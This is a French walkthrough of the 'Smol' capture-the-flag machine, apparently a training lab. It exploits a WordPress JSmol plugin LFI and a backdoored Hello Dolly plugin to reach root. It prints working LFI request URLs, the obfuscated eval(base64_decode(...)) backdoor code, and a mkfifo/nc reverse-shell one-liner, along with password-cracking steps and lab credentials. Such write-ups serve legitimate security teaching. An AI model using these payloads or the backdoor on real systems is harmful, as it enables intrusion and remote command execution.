SMOL - Walkthrough
Introduction
Au cœur de Smol se trouve un site Web WordPress, une cible courante en raison de son vaste écosystème de plugins. La machine présente un plugin vulnérable connu du public, soulignant les risques liés à la négligence des mises à jour logicielles et des correctifs de sécurité. Pour améliorer l’expérience d’apprentissage, Smol introduit un plugin backdoor, soulignant l’importance d’une inspection méticuleuse du code avant l’intégration de composants tiers.
- What is the user flag?
- What is the root flag?
Au cours de ce walkthrough, nous explorerons donc les étapes nécessaires pour compromettre le serveur et récupérer les deux drapeaux cachés.
Étape 1 : Découverte des services
Scan des ports avec Nmap
Pour commencer, nous effectuons un scan agressif des ports avec Nmap afin d’identifier les services actifs sur la machine cible.
1
nmap -T4 -A 10.10.88.24
Résultats :
- Port 22 : Service SSH
- Port 80 : Serveur Web
Étape 2 : Exploration de l’application web
Observation initiale
Le site web hébergé sur le port 80 semble inaccessible et pour cause la résolution dns n’est pas faite. Nous allons donc devoir ajouter l’adresse IP de la machine dans le fichier /etc/hosts pour pouvoir accéder au site.
1
10.10.88.24 smol.thm
Les différentes sections du site font guise de contenu et ne laisse, à première vue, pas transmettre de vulnérabilités évidentes. Une inspection plus approfondie, si necessaire, peut être faite dans le but de s’assurer qu’il n’y a pas de d’IDOR ou de traversée de répertoire.
Le site nous indique aussi dans son bas de page, qu’il s’agit d’un site Wordpress.
Exploration du site
WordPress suit une structure de fichiers bien définie, dans le cadre d’un CTF, généralement l’attaquant cherchera les fichiers suivants :
- wp-admin/ → Contient les fichiers du tableau de bord d’administration.
- wp-content/ → Contient les thèmes, plugins et fichiers téléchargés.
- themes/ → Stocke les thèmes actifs et inactifs.
- plugins/ → Stocke les extensions installées.
- uploads/ → Stocke les images, vidéos et autres fichiers multimédias.
- wp-includes/ → Contient les fichiers principaux de WordPress.
- wp-config.php → Contient les paramètres de connexion à la base de données.
Avec ces informations, nous pouvons donc essayer d’accéder à ces répertoires pour voir si nous pouvons trouver des informations sensibles.
Accès à wp-includes/
L’accés à ce répertoire, bien que possible, ne nous donne pas d’informations sensibles. Les divers fichiers principaux de Wordpress sont présents, mais ne contiennent, après inspection, pas la moindre d’information utile.
Accès à wp-content/
L’accès à ce répertoire, bien que possible, affiche une page blanche. Cela peut signifier que le répertoire est vide ou que l’accès est restreint. De même pour ses sous-répertoires themes/ et plugins/. Cependant, en admettant que le site utilise des themes et des plugins, ces derniers peuvent se révéler dans le code de la page.
1
<script src="http://www.smol.thm/wp-content/plugins/jsmol2wp/JSmol.min.nojq.js?ver=14.1.7_2014.06.09" id="jsmol.min.nojq-js"></script>
Ici, le plugin JSmol est utilisé, ou du moins intégré, sur le site. Ce plugin est un visualisateur de structures moléculaires en 3D, et il est possible qu’il contienne une vulnérabilité connue. En remontant l’arborescence, nous pouvons trouver les fichiers du plugin.
Nous sommes alors en mesure de questionner la présence de ce plugin sur ce site web. Surtout que d’après le READ ME, le plugin date d’il y a 7 ans et n’a pas été mis à jour depuis. Nous pouvons alors nous pencher sur les vulnérabilités connues de ce plugin et voir si nous pouvons en exploiter une.
Je vous renvoie alors sur ces deux liens sur la vulnérabilitée connue du plugin JSmol :
La vulnérabilité CVE-2018-20463 est une vulnérabilité de type LFI (Local File Inclusion) qui permet à un attaquant d’accéder à des fichiers sensibles sur le serveur. En exploitant cette vulnérabilité, nous pourrions ainsi de par l’url suivante :
1
http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Accéder au fichier wp-config.php et récupérer les identifiants de la base de données.
- Database Name : wordpress
- Database User : wpuser
- Database Password : kbLSF2Vop#lw3rjDZ629*Z%G
Accès à wp-admin/
En utilisant les identifiants récupérés, nous nous connectons à l’interface d’administration de WordPress.
En explorant les pages publiés, nous trouvons une page intitulé “Webmaster Tasks” non publié par le site et rédigé par l’admin.
Cette page récapitule les tâches que l’administrateur s’engage à faire, notamment celle de vérifier le plugin Hello Doly qui d’après lui pourrait être une backdoor potentielle.
Exploration du plugin Hello Dolly
Le plugin Hello Dolly est un plugin pour WordPress qui affiche des paroles de chansons de la chanson “Hello, Dolly!” de Louis Armstrong dans le tableau de bord de l’administration.
Cependant, il est possible que ce plugin ait été modifié pour contenir une backdoor. En lisant le code open source du plugin, disponible sur GitHub nous apprenons que le plugin est stocké dans le répertoire wp-content/plugins/hello.php. A l’aide de la vulnérabilité LFI que nous avons exploitée précédemment
1
http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
nous pouvons alors accéder au code source du plugin.
Ici, nous pouvons alors remarquer que la fonction hello_dolly() censée afficher les paroles de la chanson a été modifiée pour exécuter une commande système. Nottament avec la ligne suivante :
1
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
qui correspond à if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } en base64 et \143\x6d\144 correspondant à cmd.
Étape 3 : Exploitation de la backdoor
En utilisant la backdoor, nous pouvons exécuter des commandes système sur le serveur.
Dans notre cas, la commande nc -e semble avoir été désactivée, l’autre moyen d’obtenir un shell interactif est donc d’utiliser la commande rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.14.86.150 4444 > /tmp/f.
Comme nous l’avons alors vu dans wp-config.php, wordpress utilise une base de données SQL nommée wordpress. Nous pouvons alors nous connecter à la base de données pour dump les tables.
Puis de par la commande SELECT * FROM wp_users; récupérer les identifiants des différents utilisateurs.
Dehash des mots passe
Comme vous pouvez le voir, les mots de passe sont hashés en phpass . Nous devons donc les déchiffrer pour pouvoir nous connecter en tant qu’utilisateur. Pour ce faire, nous allons utiliser l’outil hashcat.
Un hash a été trouvé pour le mot de passe de l’utilisateur diego : sandiegocalifornia. Permétant ainsi de se connecter en tant que cet utilisateur et de récupérer le user flag.
Étape 4 : Escalade de privilèges
En tant qu’utilisateur diego
En executant la commande id, nous pouvons voir que l’utilisateur diego appartient au groupe internal, ce qui lui permet d’accéder au répertoires autres utilisateurs. 
Accès au répertoire de l’utilisateur gege
Le répertoire de l’utilisateur gege contient un fichier zip worpress.old.zip qui, peut-on le déduire, est une ancienne backup du site web. Malheureusement, les permissions ne nous permettent pas de le décompresser.
Accès au répertoire de l’utilisateur think
En accédant au répertoire de l’utilisateur think, nous remarquons la présence du fichier ssh contenant la clé privée de l’utilisateur: id_rsa.
En utilisant sa clée, nous pouvons alors nous connecter avec ssh en tant qu’utilisateur think.
En tant qu’utilisateur think
Encore une fois, en executant la commande id, nous pouvons voir que l’utilisateur think appartient au groupe internal mais aussi au groupe dev. Le problème c’est que je n’ai pas remarqué quelconque droit particulier pour ce groupe. J’ai donc décidé d’énumérer les utilisateurs qui étaient dans le groupe dev avec la commande cat /etc/group.
Nous pouvons alors voir que l’utilisateur gege appartient de même au groupe dev et ainsi de par la commande su gege nous connecter en tant qu’utilisateur gege.
En tant qu’utilisateur gege
Maintenant que nous sommes connectés en tant qu’utilisateur gege, nous pouvons alors décompresser le fichier worpress.old.zip et accéder à l’ancienne version du site web. Seulement, malgré les permissions, le fichier demande un mot de passe pour être décompressé. Nous allons donc tenter de brute force cela avec John The Ripper.
Il semble ici que le mot de passe soit : hero_gege@hotmail.com. Nous pouvons alors décompresser le fichier et accéder à l’ancienne version du site web et plus particulièrement au fichier wp-config.php pour voir si les identifiants de la base de données ont changé.
- Database User : xavi
- Database Password : P@ssw0rdxavi@
En tant qu’utilisateur xavi
Avec les nouveaux identifiants, nous pouvons alors nous connecter à l’utilisateur xavi.
En vérifiant les droits de l’utilisateur xavi, nous pouvons voir que ce dernier peut executer toutes les commandes en tant que superutilisateur, permettant ainsi d’obtenir le root flag dans le repertoire root.
Conclusion
Dans ce walkthrough, nous avons vu l’importance de la mise à jour des plugins et des composants tiers, ainsi que l’impact des vulnérabilités connues sur la sécurité des applications web. Nous avons également exploré les techniques d’escalade de privilèges et l’importance de la gestion des utilisateurs et des groupes pour limiter les risques d’attaques.
J’espère que ce walkthrough vous a été utile.